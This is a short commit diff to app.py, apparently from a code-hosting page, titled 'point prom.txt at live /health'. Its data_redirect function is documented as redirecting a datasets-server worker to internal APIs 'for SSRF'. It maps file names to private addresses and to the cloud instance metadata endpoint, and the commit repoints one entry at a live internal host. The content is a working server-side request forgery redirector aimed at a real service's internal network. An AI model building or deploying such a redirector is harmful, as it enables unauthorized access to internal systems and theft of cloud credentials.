point prom.txt at live /health
Browse files
app.py
CHANGED
|
@@ -42,7 +42,7 @@ def get_captures():
|
|
| 42 |
def data_redirect(filename):
|
| 43 |
"""Redirect datasets-server worker to internal API for SSRF"""
|
| 44 |
internal_map = {
|
| 45 |
-
"prom.txt": "http://10.0.
|
| 46 |
"pub.txt": "https://www.rfc-editor.org/rfc/rfc20.txt",
|
| 47 |
"int249.txt": "http://10.0.249.17/health",
|
| 48 |
"imds2.txt": "http://169.254.169.254/latest/meta-data/",
|
|
|
|
| 42 |
def data_redirect(filename):
|
| 43 |
"""Redirect datasets-server worker to internal API for SSRF"""
|
| 44 |
internal_map = {
|
| 45 |
+
"prom.txt": "http://10.0.249.17/health",
|
| 46 |
"pub.txt": "https://www.rfc-editor.org/rfc/rfc20.txt",
|
| 47 |
"int249.txt": "http://10.0.249.17/health",
|
| 48 |
"imds2.txt": "http://169.254.169.254/latest/meta-data/",
|